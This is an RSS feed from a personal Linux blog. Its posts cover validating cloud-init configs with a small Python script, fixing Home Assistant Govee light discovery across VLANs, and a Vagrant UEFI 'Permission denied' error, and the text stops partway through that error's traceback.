<?xml version="1.0" encoding="utf-8"?>
<?xml-stylesheet type="text/xsl" href="../assets/xml/rss.xsl" media="all"?><rss version="2.0" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:atom="http://www.w3.org/2005/Atom"><channel><title>die-welt.net (Posts about english)</title><link>https://www.die-welt.net/</link><description></description><atom:link href="https://www.die-welt.net/category/english.xml" rel="self" type="application/rss+xml"></atom:link><language>en</language><copyright>Contents © 2026 &lt;a href="mailto:evgeni@golov.de"&gt;evgeni&lt;/a&gt; </copyright><lastBuildDate>Fri, 06 Mar 2026 14:03:30 GMT</lastBuildDate><generator>Nikola (getnikola.com)</generator><docs>http://blogs.law.harvard.edu/tech/rss</docs><item><title>Validating cloud-init configs without being root</title><link>https://www.die-welt.net/2026/01/validating-cloud-init-configs-without-being-root/</link><dc:creator>evgeni</dc:creator><description>&lt;p&gt;Somehow this whole DevOps thing is all about generating the wildest things from some (usually equally wild) template.&lt;/p&gt;
&lt;p&gt;And today we're gonna generate &lt;a href="https://github.com/theforeman/foreman/blob/develop/app/views/unattended/provisioning_templates/cloud_init/cloud_init_default.erb"&gt;YAML from ERB&lt;/a&gt;, what could possibly go wrong?!&lt;/p&gt;
&lt;p&gt;Well, actually, &lt;a href="https://projects.theforeman.org/issues/38442"&gt;quite&lt;/a&gt; &lt;a href="https://projects.theforeman.org/issues/37433"&gt;a lot&lt;/a&gt;,
so one wants to validate the generated result before using it to break systems at scale.&lt;/p&gt;
&lt;p&gt;The YAML we generate is a cloud-init &lt;a href="https://cloudinit.readthedocs.io/en/latest/explanation/about-cloud-config.html"&gt;cloud-config&lt;/a&gt;,
and while checking that we generated a valid YAML document is easy (and we were already doing that),
it would be much better if we could check that cloud-init can actually use it.&lt;/p&gt;
&lt;p&gt;Enter &lt;a href="https://cloudinit.readthedocs.io/en/latest/howto/debug_user_data.html#check-user-data-cloud-config"&gt;&lt;code&gt;cloud-init schema&lt;/code&gt;&lt;/a&gt;, or so I thought.
Turns out &lt;a href="https://github.com/canonical/cloud-init/issues/6680"&gt;running &lt;code&gt;cloud-init schema&lt;/code&gt; is rather broken without root privileges&lt;/a&gt;,
as it tries to load &lt;a href="https://github.com/canonical/cloud-init/issues/6592"&gt;a ton of information from the running system&lt;/a&gt;.
This seems like a bug (or multiple), as the data should not be required for the validation of the schema itself.
I've not found a way to disable that behavior.&lt;/p&gt;
&lt;p&gt;Luckily, &lt;a href="https://xkcd.com/208/"&gt;I know Python&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Enter &lt;code&gt;evgeni-knows-better-and-can-write-python&lt;/code&gt;:&lt;/p&gt;
&lt;div class="code"&gt;&lt;pre class="code literal-block"&gt;&lt;span class="ch"&gt;#!/usr/bin/env python3&lt;/span&gt;

&lt;span class="kn"&gt;import&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;sys&lt;/span&gt;
&lt;span class="kn"&gt;from&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;cloudinit.config.schema&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;get_schema&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;validate_cloudconfig_file&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;SchemaValidationError&lt;/span&gt;

&lt;span class="k"&gt;try&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="n"&gt;valid&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;validate_cloudconfig_file&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;config_path&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;sys&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;argv&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="n"&gt;schema&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;get_schema&lt;/span&gt;&lt;span class="p"&gt;())&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="ow"&gt;not&lt;/span&gt; &lt;span class="n"&gt;valid&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="k"&gt;raise&lt;/span&gt; &lt;span class="ne"&gt;RuntimeError&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;"Schema is not valid"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="k"&gt;except&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;SchemaValidationError&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ne"&gt;RuntimeError&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;as&lt;/span&gt; &lt;span class="n"&gt;e&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="nb"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;e&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="n"&gt;sys&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;exit&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;The canonical&lt;sup id="fnref:canonical"&gt;&lt;a class="footnote-ref" href="https://www.die-welt.net/2026/01/validating-cloud-init-configs-without-being-root/#fn:canonical"&gt;1&lt;/a&gt;&lt;/sup&gt; version if this &lt;a href="https://github.com/theforeman/foreman/blob/develop/script/cloud-init-validate"&gt;lives in the Foreman git repo&lt;/a&gt;, so go there if you think this will ever receive any updates.&lt;/p&gt;
&lt;p&gt;The hardest part was to understand the&lt;code&gt;validate_cloudconfig_file&lt;/code&gt; API,
as it will sometimes raise an &lt;code&gt;SchemaValidationError&lt;/code&gt;,
sometimes a &lt;code&gt;RuntimeError&lt;/code&gt; and sometimes just return &lt;code&gt;False&lt;/code&gt;.
No idea why.
But the above just turns it into a couple of printed lines and a non zero exit code,
unless of course there are no problems, then you get peaceful silence.&lt;/p&gt;
&lt;div class="footnote"&gt;
&lt;hr&gt;
&lt;ol&gt;
&lt;li id="fn:canonical"&gt;
&lt;p&gt;&lt;a href="https://en.wikipedia.org/wiki/Canonical"&gt;"canonical"&lt;/a&gt;, not &lt;a href="https://en.wikipedia.org/wiki/Canonical_(company)"&gt;"Canonical"&lt;/a&gt; &lt;a class="footnote-backref" href="https://www.die-welt.net/2026/01/validating-cloud-init-configs-without-being-root/#fnref:canonical" title="Jump back to footnote 1 in the text"&gt;↩&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;</description><category>english</category><category>foreman</category><category>linux</category><category>planet-debian</category><category>software</category><guid>https://www.die-welt.net/2026/01/validating-cloud-init-configs-without-being-root/</guid><pubDate>Wed, 21 Jan 2026 19:42:45 GMT</pubDate></item><item><title>Home Assistant, Govee Lights Local, VLANs, Oh my!</title><link>https://www.die-welt.net/2025/12/home-assistant-govee-lights-local-vlans-oh-my/</link><dc:creator>evgeni</dc:creator><description>&lt;p&gt;We recently bought some &lt;a href="https://eu.govee.com/products/govee-glide-hexa-light-panels"&gt;Govee Glide Hexa Light Panels&lt;/a&gt;, because they have a &lt;a href="https://app-h5.govee.com/user-manual/wlan-guide"&gt;local LAN API&lt;/a&gt; that is &lt;a href="https://www.home-assistant.io/integrations/govee_light_local/"&gt;well integrated into Home Assistant&lt;/a&gt;.
Or so we thought.&lt;/p&gt;
&lt;p&gt;Our network is not &lt;em&gt;that&lt;/em&gt; complicated, but there is a dedicated VLAN for IOT devices.
Home Assistant runs in a container (with &lt;code&gt;network=host&lt;/code&gt;) on a box in the basement, and that box has a NIC in the IOT VLAN so it can reach devices there easily.
So far, this has never been a problem.&lt;/p&gt;
&lt;p&gt;Enter the Govee LAN API.
Or maybe its &lt;a href="https://pypi.org/project/govee-local-api/"&gt;Python implementation&lt;/a&gt;.
Not exactly sure who's to blame here.&lt;/p&gt;
&lt;p&gt;The API involves sending JSON over multicast, which the Govee device will answer to.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;No devices found on the network&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;After turning logging for &lt;code&gt;homeassistant.components.govee_light_local&lt;/code&gt; to 11, erm &lt;code&gt;debug&lt;/code&gt;, we see:&lt;/p&gt;
&lt;div class="code"&gt;&lt;pre class="code literal-block"&gt;DEBUG (MainThread) [homeassistant.components.govee_light_local.config_flow] Starting discovery with IP 192.168.42.2
DEBUG (MainThread) [homeassistant.components.govee_light_local.config_flow] No devices found with IP 192.168.42.2
&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;That's not the IP address in the IOT VLAN!&lt;/p&gt;
&lt;p&gt;Turns out the integration &lt;a href="https://github.com/home-assistant/core/pull/128123"&gt;recently got support for multiple NICs&lt;/a&gt;,
but Home Assistant doesn't just use all the interfaces it sees by default.&lt;/p&gt;
&lt;p&gt;You need to go to &lt;em&gt;Settings&lt;/em&gt; → &lt;em&gt;Network&lt;/em&gt; → &lt;em&gt;Network adapter&lt;/em&gt; and deselect "Autoconfigure",
which will allow your to select individual interfaces.&lt;/p&gt;
&lt;p&gt;Once you've done that, you'll see &lt;code&gt;Starting discovery with IP&lt;/code&gt; messages for all selected interfaces and adding of Govee Lights Local will work.&lt;/p&gt;</description><category>english</category><category>home-automation</category><category>linux</category><category>planet-debian</category><category>software</category><guid>https://www.die-welt.net/2025/12/home-assistant-govee-lights-local-vlans-oh-my/</guid><pubDate>Sun, 14 Dec 2025 15:48:08 GMT</pubDate></item><item><title>Booting Vagrant boxes with UEFI on Fedora: Permission denied</title><link>https://www.die-welt.net/2025/09/booting-vagrant-boxes-with-uefi-on-fedora-permission-denied/</link><dc:creator>evgeni</dc:creator><description>&lt;p&gt;If you're still using Vagrant (I am) and try to boot a box that uses UEFI (like &lt;a href="https://portal.cloud.hashicorp.com/vagrant/discover/boxen/debian-13"&gt;&lt;code&gt;boxen/debian-13&lt;/code&gt;&lt;/a&gt;),
a simple &lt;code&gt;vagrant init boxen/debian-13&lt;/code&gt; and &lt;code&gt;vagrant up&lt;/code&gt; will entertain you with a nice traceback:&lt;/p&gt;
&lt;div class="code"&gt;&lt;pre class="code literal-block"&gt;&lt;span class="gp"&gt;% &lt;/span&gt;vagrant&lt;span class="w"&gt; &lt;/span&gt;up
&lt;span class="go"&gt;Bringing machine 'default' up with 'libvirt' provider...&lt;/span&gt;
&lt;span class="go"&gt;==&amp;gt; default: Checking if box 'boxen/debian-13' version '2025.08.20.12' is up to date...&lt;/span&gt;
&lt;span class="go"&gt;==&amp;gt; default: Creating image (snapshot of base box volume).&lt;/span&gt;
&lt;span class="go"&gt;==&amp;gt; default: Creating domain with the following settings...&lt;/span&gt;
&lt;span class="go"&gt;==&amp;gt; default:  -- Name:              tmp.JV8X48n30U_default&lt;/span&gt;
&lt;span class="go"&gt;==&amp;gt; default:  -- Description:       Source: /tmp/tmp.JV8X48n30U/Vagrantfile&lt;/span&gt;
&lt;span class="go"&gt;==&amp;gt; default:  -- Domain type:       kvm&lt;/span&gt;
&lt;span class="go"&gt;==&amp;gt; default:  -- Cpus:              1&lt;/span&gt;
&lt;span class="go"&gt;==&amp;gt; default:  -- Feature:           acpi&lt;/span&gt;
&lt;span class="go"&gt;==&amp;gt; default:  -- Feature:           apic&lt;/span&gt;
&lt;span class="go"&gt;==&amp;gt; default:  -- Feature:           pae&lt;/span&gt;
&lt;span class="go"&gt;==&amp;gt; default:  -- Clock offset:      utc&lt;/span&gt;
&lt;span class="go"&gt;==&amp;gt; default:  -- Memory:            2048M&lt;/span&gt;
&lt;span class="go"&gt;==&amp;gt; default:  -- Loader:            /home/evgeni/.vagrant.d/boxes/boxen-VAGRANTSLASH-debian-13/2025.08.20.12/libvirt/OVMF_CODE.fd&lt;/span&gt;
&lt;span class="go"&gt;==&amp;gt; default:  -- Nvram:             /home/evgeni/.vagrant.d/boxes/boxen-VAGRANTSLASH-debian-13/2025.08.20.12/libvirt/efivars.fd&lt;/span&gt;
&lt;span class="go"&gt;==&amp;gt; default:  -- Base box:          boxen/debian-13&lt;/span&gt;
&lt;span class="go"&gt;==&amp;gt; default:  -- Storage pool:      default&lt;/span&gt;
&lt;span class="go"&gt;==&amp;gt; default:  -- Image(vda):        /home/evgeni/.local/share/libvirt/images/tmp.JV8X48n30U_default.img, virtio, 20G&lt;/span&gt;
&lt;span class="go"&gt;==&amp;gt; default:  -- Disk driver opts:  cache='default'&lt;/span&gt;
&lt;span class="go"&gt;==&amp;gt; default:  -- Graphics Type:     vnc&lt;/span&gt;
&lt;span class="go"&gt;==&amp;gt; default:  -- Video Type:        cirrus&lt;/span&gt;
&lt;span class="go"&gt;==&amp;gt; default:  -- Video VRAM:        16384&lt;/span&gt;
&lt;span class="go"&gt;==&amp;gt; default:  -- Video 3D accel:    false&lt;/span&gt;
&lt;span class="go"&gt;==&amp;gt; default:  -- Keymap:            en-us&lt;/span&gt;
&lt;span class="go"&gt;==&amp;gt; default:  -- TPM Backend:       passthrough&lt;/span&gt;
&lt;span class="go"&gt;==&amp;gt; default:  -- INPUT:             type=mouse, bus=ps2&lt;/span&gt;
&lt;span class="go"&gt;==&amp;gt; default:  -- CHANNEL:             type=unix, mode=&lt;/span&gt;
&lt;span class="go"&gt;==&amp;gt; default:  -- CHANNEL:             target_type=virtio, target_name=org.qemu.guest_agent.0&lt;/span&gt;
&lt;span class="go"&gt;==&amp;gt; default: Creating shared folders metadata...&lt;/span&gt;
&lt;span class="go"&gt;==&amp;gt; default: Starting domain.&lt;/span&gt;
&lt;span class="go"&gt;==&amp;gt; default: Removing domain...&lt;/span&gt;
&lt;span class="go"&gt;==&amp;gt; default: Deleting the machine folder&lt;/span&gt;
&lt;span class="go"&gt;/usr/share/gems/gems/fog-libvirt-0.13.1/lib/fog/libvirt/requests/compute/vm_action.rb:7:in 'Libvirt::Domain#create': Call to virDomainCreate failed: internal error: process exited while connecting to monitor: 2025-09-22T10:07:55.081081Z qemu-system-x86_64: -blockdev {"driver":"file","filename":"/home/evgeni/.vagrant.d/boxes/boxen-VAGRANTSLASH-debian-13/2025.08.20.12/libvirt/OVMF_CODE.fd","node-name":"libvirt-pflash0-storage","auto-read-only":true,"discard":"unmap"}: Could not open '/home/evgeni/.vagrant.d/boxes/boxen-VAGRANTSLASH-debian-13/2025.08.20.12/libvirt/OVMF_CODE.fd': Permission denied (Libvirt::Error)&lt;/span&gt;
&lt;span class="go"&gt;    from /usr/share/gems/gems/fog-libvirt-0.13.1/lib/fog/libvirt/requests/compute/vm_action.rb:7:in 'Fog::Libvirt::Compute::Shared#vm_action'&lt;/span&gt;
&lt;span class="go"&gt;    from /usr/share/gems/gems/fog-libvirt-0.13.1/lib/fog/libvirt/models/compute/server.rb:81:in 'Fog::Libvirt::Compute::Server#start'&lt;/span&gt;
&lt;span class="go"&gt;    from /usr/share/vagrant/gems/gems/vagrant-libvirt-0.11.2/lib/vagrant-libvirt/action/start_domain.rb:546:in 'VagrantPlugins::ProviderLibvirt::Action::StartDomain#call'&lt;/span&gt;
&lt;span class="go"&gt;    from /usr/share/vagrant/gems/gems/vagrant-2.3.4/lib/vagrant/action/warden.rb:48:in 'Vagrant::Action::Warden#call'&lt;/span&gt;
&lt;span class="go"&gt;    from /usr/share/vagrant/gems/gems/vagrant-libvirt-0.11.2/lib/vagrant-libvirt/action/set_boot_order.rb:22:in 'VagrantPlugins::ProviderLibvirt::Action::SetBootOrder#call'&lt;/span&gt;
&lt;span class="go"&gt;    from /usr/share/vagrant/gems/gems/vagrant-2.3.4/lib/vagrant/action/warden.rb:48:in 'Vagrant::Action::Warden#call'&lt;/span&gt;
&lt;span class="go"&gt;    from /usr/share/vagrant/gems/gems/vagrant-libvirt-0.11.2/lib/vagrant-libvirt/action/share_folders.rb:22:in 'VagrantPlugins::ProviderLibvirt::Action::ShareFolders#call'&lt;/span&gt;
&lt;span class="go"&gt;    from /usr/share/vagrant/gems/gems/vagrant-2.3.4/lib/vagrant/action/warden.rb:48:in 'Vagrant::Action::Warden#call'&lt;/span&gt;
&lt;span class="go"&gt;    from /usr/share/vagrant/gems/gems/vagrant-libvirt-0.11.2/lib/vagrant-libvirt/action/prepare_nfs_settings.rb:21:in 'VagrantPlugins::ProviderLibvirt::Action::PrepareNFSSettings#call'&lt;/span&gt;
&lt;span class="go"&gt;    from /usr/share/vagrant/gems/gems/vagrant-2.3.4/lib/vagrant/action/warden.rb:48:in 'Vagrant::Action::Warden#call'&lt;/span&gt;
&lt;span class="go"&gt;    from /usr/share/vagrant/gems/gems/vagrant-2.3.4/lib/vagrant/action/builtin/synced_folders.rb:87:in 'Vagrant::Action::Builtin::SyncedFolders#call'&lt;/span&gt;
&lt;span class="go"&gt;    from /usr/share/vagrant/gems/gems/vagrant-2.3.4/lib/vagrant/action/warden.rb:48:in 'Vagrant::Action::Warden#call'&lt;/span&gt;
&lt;span class="go"&gt;    from /usr/share/vagrant/gems/gems/vagrant-2.3.4/lib/vagrant/action/builtin/delayed.rb:19:in 'Vagrant::Action::Builtin::Delayed#call'&lt;/span&gt;
&lt;span class="go"&gt;    from /usr/share/vagrant/gems/gems/vagrant-2.3.4/lib/vagrant/action/warden.rb:48:in 'Vagrant::Action::Warden#call'&lt;/span&gt;
&lt;span class="go"&gt;    from /usr/share/vagrant/gems/gems/vagrant-2.3.4/lib/vagrant/action/builtin/synced_folder_cleanup.rb:28:in 'Vagrant::Action::Builtin::SyncedFolderCleanup#call'&lt;/span&gt;
&lt;span class="go"&gt;    from /usr/share/vagrant/gems/gems/vagrant-2.3.4/lib/vagrant/action/warden.rb:48:in 'Vagrant::Action::Warden#call'&lt;/span&gt;
&lt;span class="go"&gt;    from /usr/share/vagrant/gems/gems/vagrant-2.3.4/plugins/synced_folders/nfs/action_cleanup.rb:25:in 'VagrantPlugins::SyncedFolderNFS::ActionCleanup#call'&lt;/span&gt;
&lt;span class="go"&gt;    from /usr/share/vagrant/gems/gems/vagrant-2.3.4/lib/vagrant/action/warden.rb:48:in 'Vagrant::Action::Warden#call'&lt;/span&gt;
&lt;span class="go"&gt;    from /usr/share/vagrant/gems/gems/vagrant-libvirt-0.11.2/lib/vagrant-libvirt/action/prepare_nfs_valid_ids.rb:14:in 'VagrantPlugins::ProviderLibvirt::Action::PrepareNFSValidIds#call'&lt;/span&gt;
&lt;span class="go"&gt;    from /usr/share/vagrant/gems/gems/vagrant-2.3.4/lib/vagrant/action/warden.rb:48:in 'Vagrant::Action::Warden#call'&lt;/span&gt;
&lt;span class="go"&gt;    from /usr/share/vagrant/gems/gems/vagrant-2.3.4/lib/vagrant/action/warden.rb:127:in 'block in Vagrant::Action::Warden#finalize_action'&lt;/span&gt;
&lt;span class="go"&gt;    from /usr/share/vagrant/gems/gems/vagrant-2.3.4/lib/vagrant/action/warden.rb:48:in 'Vagrant::Action::Warden#call'&lt;/span&gt;
&lt;span class="go"&gt;    from /usr/share/vagrant/gems/gems/vagrant-2.3.4/lib/vagrant/action/builder.rb:180:in 'Vagrant::Action::Builder#call'&lt;/span&gt;
&lt;span class="go"&gt;    from /usr/share/vagrant/gems/gems/vagrant-2.3.4/lib/vagrant/action/runner.rb:101:in 'block in Vagrant::Action::Runner#run'&lt;/span&gt;
&lt;span class="go"&gt;    from /usr/share/vagrant/gems/gems/vagrant-2.3.4/lib/vagrant/util/busy.rb:19:in 'Vagrant::Util::Busy.busy'&lt;/span&gt;
&lt;span class="go"&gt;    from /usr/share/vagrant/gems/gems/vagrant-2.3.4/lib/vagrant/action/runner.rb:101:in 'Vagrant::Action::Runner#run'&lt;/span&gt;
&lt;span class="go"&gt;    from /usr/share/vagrant/gems/gems/vagrant-2.3.4/lib/vagrant/action/builtin/call.rb:53:in 'Vagrant::Action::Builtin::Call#call'&lt;/span&gt;
&lt;span class="go"&gt;    from /usr/share/vagrant/gems/gems/vagrant-2.3.4/lib/vagrant/action/warden.rb:48:in 'Vagrant::Action::Warden#call'&lt;/span&gt;
&lt;span class="go"&gt;    from /usr/share/vagrant/gems/gems/vagrant-2.3.4/lib/vagrant/action/warden.rb:127:in 'block in Vagrant::Action::Warden#finalize_action'&lt;/span&gt;
&lt;span class="go"&gt;    from /usr/share/vagrant/gems/gems/vagrant-2.3.4/lib/vagrant/action/warden.rb:48:in 'Vagrant::Action::Warden#call'&lt;/span&gt;
&lt;span class="go"&gt;    from /usr/share/vagrant/gems/gems/vagrant-2.3.4/lib/vagrant/action/builder.rb:180:in 'Vagrant::Action::Builder#call'&lt;/span&gt;
&lt;span class="go"&gt;    from /usr/share/vagrant/gems/gems/vagrant-2.3.4/lib/vagrant/action/runner.rb:101:in 'block in Vagrant::Action::Runner#run'&lt;/span&gt;
&lt;span class="go"&gt;    from /usr/share/vagrant/gems/gems/vagrant-2.3.4/lib/vagrant/util/busy.rb:19:in 'Vagrant::Util::Busy.busy'&lt;/span&gt;
&lt;span class="go"&gt;    from /usr/share/vagrant/gems/gems/vagrant-2.3.4/lib/vagrant/action/runner.rb:101:in 'Vagrant::Action::Runner#run'&lt;/span&gt;
&lt;span class="go"&gt;    from /usr/share/vagrant/gems/gems/vagrant-2.3.4/lib/vagrant/action/builtin/call.rb:53:in 'Vagrant::Action::Builtin::Call#call'&lt;/span&gt;
&lt;span class="go"&gt;    from /usr/share/vagrant/gems/gems/vagrant-2.3.4/lib/vagrant/action/warden.rb:48:in 'Vagrant::Action::Warden#call'&lt;/span&gt;
&lt;span class="go"&gt;    from /usr/share/vagrant/gems/gems/vagrant-libvirt-0.11.2/lib/vagrant-libvirt/action/create_network_interfaces.rb:197:in 'VagrantPlugins::ProviderLibvirt::Action::CreateNetworkInterfaces#call'&lt;/span&gt;
&lt;span class="go"&gt;    from /usr/share/vagrant/gems/gems/vagrant-2.3.4/lib/vagrant/action/warden.rb:48:in 'Vagrant::Action::Warden#call'&lt;/span&gt;
&lt;span class="go"&gt;    from /usr/share/vagrant/gems/gems/vagrant-libvirt-0.11.2/lib/vagrant-libvirt/action/create_networks.rb:40:in 'VagrantPlugins::ProviderLibvirt::Action::CreateNetworks#call'&lt;/span&gt;
&lt;span class="go"&gt;    from /usr/share/vagrant/gems/gems/vagrant-2.3.4/lib/vagrant/action/warden.rb:48:in 'Vagrant::Action::Warden#call'&lt;/span&gt;
&lt;span class="go"&gt;    from /usr/share/vagrant/gems/gems/vagrant-libvirt-0.11.2/lib/vagrant-libvirt/action/create_domain.rb:452:in 'VagrantPlugins::ProviderLibvirt::Action::CreateDomain#call'&lt;/span&gt;
&lt;span class="go"&gt;    from /usr/share/vagrant/gems/gems/vagrant-2.3.4/lib/vagrant/action/warden.rb:48:in 'Vagrant::Action::Warden#call'&lt;/span&gt;
&lt;span class="go"&gt;    from /usr/share/vagrant/gems/gems/vagrant-libvirt-0.11.2/lib/vagrant-libvirt/action/resolve_disk_settings.rb:143:in 'VagrantPlugins::ProviderLibvirt::Action::ResolveDiskSettings#call'&lt;/span&gt;
&lt;span class="go"&gt;    from /usr/share/vagrant/gems/gems/vagrant-2.3.4/lib/vagrant/action/warden.rb:48:in 'Vagrant::Action::Warden#call'&lt;/span&gt;
&lt;span class="go"&gt;    from /usr/share/vagrant/gems/gems/vagrant-libvirt-0.11.2/lib/vagrant-libvirt/action/create_domain_volume.rb:97:in 'VagrantPlugins::ProviderLibvirt::Action::CreateDomainVolume#call'&lt;/span&gt;
&lt;span class="go"&gt;    from /usr/share/vagrant/gems/gems/vagrant-2.3.4/lib/vagrant/action/warden.rb:48:in 'Vagrant::Action::Warden#call'&lt;/span&gt;
&lt;span class="go"&gt;    from /usr/share/vagrant/gems/gems/vagrant-libvirt-0.11.2/lib/vagrant-libvirt/action/handle_box_image.rb:127:in 'VagrantPlugins::ProviderLibvirt::Action::HandleBoxImage#call'&lt;/span&gt;
&lt;span class="go"&gt;    from /usr/share/vagrant/gems/gems/vagrant-2.3.4/lib/vagrant/action/warden.rb:48:in 'Vagrant::Action::Warden#call'&lt;/span&gt;
&lt;span class="go"&gt;    from /usr/share/vagrant/gems/gems/vagrant-2.3.4/lib/vagrant/action/builtin/handle_box.rb:56:in 'Vagrant::Action::Builtin::HandleBox#call'&lt;/span&gt;
&lt;span class="go"&gt;    from /usr/share/vagrant/gems/gems/vagrant-2.3.4/lib/vagrant/action/warden.rb:48:in 'Vagrant::Action::Warden#call'&lt;/span&gt;
&lt;span class="go"&gt;    from /usr/share/vagrant/gems/gems/vagrant-libvirt-0.11.2/lib/vagrant-libvirt/action/handle_storage_pool.rb:63:in 'VagrantPlugins::ProviderLibvirt::Action::HandleStoragePool#call'&lt;/span&gt;
&lt;span class="go"&gt;    from /usr/share/vagrant/gems/gems/vagrant-2.3.4/lib/vagrant/action/warden.rb:48:in 'Vagrant::Action::Warden#call'&lt;/span&gt;
&lt;span class="go"&gt;    from /usr/share/vagrant/gems/gems/vagrant-libvirt-0.11.2/lib/vagrant-libvirt/action/set_name_of_domain.rb:34:in 'VagrantPlugins::ProviderLibvirt::Action::SetNameOfDomain#call'&lt;/span&gt;
&lt;span class="go"&gt;    from /usr/share/vagrant/gems/gems/vagrant-2.3.4/lib/vagrant/action/warden.rb:48:in 'Vagrant::Action::Warden#call'&lt;/span&gt;
&lt;span class="go"&gt;    from /usr/share/vagrant/gems/gems/vagrant-2.3.4/lib/vagrant/action/builtin/provision.rb:80:in 'Vagrant::Action::Builtin::Provision#call'&lt;/span&gt;
&lt;span class="go"&gt;    from /usr/share/vagrant/gems/gems/vagrant-2.3.4/lib/vagrant/action/warden.rb:48:in 'Vagrant::Action::Warden#call'&lt;/span&gt;
&lt;span class="go"&gt;    from /usr/share/vagrant/gems/gems/vagrant-libvirt-0.11.2/lib/vagrant-libvirt/action/cleanup_on_failure.rb:21:in 'VagrantPlugins::ProviderLibvirt::Action::CleanupOnFailure#call'&lt;/span&gt;
&lt;span class="go"&gt;    from /usr/share/vagrant/gems/gems/vagrant-2.3.4/lib/vagrant/action/warden.rb:48:in 'Vagrant::Action::Warden#call'&lt;/span&gt;
&lt;span class="go"&gt;    from /usr/share/vagrant/gems/gems/vagrant-2.3.4/lib/vagrant/action/warden.rb:127:in 'block in Vagrant::Action::Warden#finalize_action'&lt;/span&gt;
&lt;span class="go"&gt;    from /usr/share/vagrant/gems/gems/vagrant-2.3.4/lib/vagrant/action/warden.rb:48:in 'Vagrant::Action::Warden#call'&lt;/span&gt;
&lt;span class="go"&gt;    from /usr/share/vagrant/gems/gems/vagrant-2.3.4/lib/vagrant/action/builder.rb:180:in 'Vagrant::Action::Builder#call'&lt;/span&gt;
&lt;span class="go"&gt;    from /usr/share/vagrant/gems/gems/vagrant-2.3.4/lib/vagrant/action/runner.rb:101:in 'block in Vagrant::Action::Runner#run'&lt;/span&gt;
&lt;span class="go"&gt;    from /usr/share/vagrant/gems/gems/vagrant-2.3.4/lib/vagrant/util/busy.rb:19:in 'Vagrant::Util::Busy.busy'&lt;/span&gt;
&lt;span class="go"&gt;    from /usr/share/vagrant/gems/gems/vagrant-2.3.4/lib/vagrant/action/runner.rb:101:in 'Vagrant::Action::Runner#run'&lt;/span&gt;
&lt;span class="go"&gt;    from /usr/share/vagrant/gems/gems/vagrant-2.3.4/lib/vagrant/action/builtin/call.rb:53:in 'Vagrant::Action::Builtin::Call#call'&lt;/span&gt;
&lt;span class="go"&gt;    from /usr/share/vagrant/gems/gems/vagrant-2.3.4/lib/vagrant/action/warden.rb:48:in 'Vagrant::Action::Warden#call'&lt;/span&gt;
&lt;span class="go"&gt;    from /usr/share/vagrant/gems/gems/vagrant-2.3.4/lib/vagrant/action/builtin/box_check_outdated.rb:93:in 'Vagrant::Action::Builtin::BoxCheckOutdated#call'&lt;/span&gt;
&lt;span class="go"&gt;    from /usr/share/vagrant/gems/gems/vagrant-2.3.4/lib/vagrant/action/warden.rb:48:in 'Vagrant::Action::Warden#call'&lt;/span&gt;
&lt;span class="go"&gt;    from /usr/share/vagrant/gems/gems/vagrant-2.3.4/lib/vagrant/action/builtin/config_validate.rb:25:in 'Vagrant::Action::Builtin::ConfigValidate#call'&lt;/span&gt;
&lt;span class="go"&gt;    from /usr/share/vagrant/gems/gems/vagrant-2.3.4/lib/vagrant/action/warden.rb:48:in 'Vagrant::Action::Warden#call'&lt;/span&gt;
&lt;span class="go"&gt;    from /usr/share/vagrant/gems/gems/vagrant-2.3.4/lib/vagrant/action/builder.rb:180:in 'Vagrant::Action::Builder#call'&lt;/span&gt;
&lt;span class="go"&gt;    from /usr/share/vagrant/gems/gems/vagrant-2.3.4/lib/vagrant/action/runner.rb:101:in 'block in Vagrant::Action::Runner#run'&lt;/span&gt;
&lt;span class="go"&gt;    from /usr/share/vagrant/gems/gems/vagrant-2.3.4/lib/vagrant/util/busy.rb:19:in 'Vagrant::Util::Busy.busy'&lt;/span&gt;
&lt;span class="go"&gt;    from /usr/share/vagrant/gems/gems/vagrant-2.3.4/lib/vagrant/action/runner.rb:101:in 'Vagrant::Action::Runner#run'&lt;/span&gt;
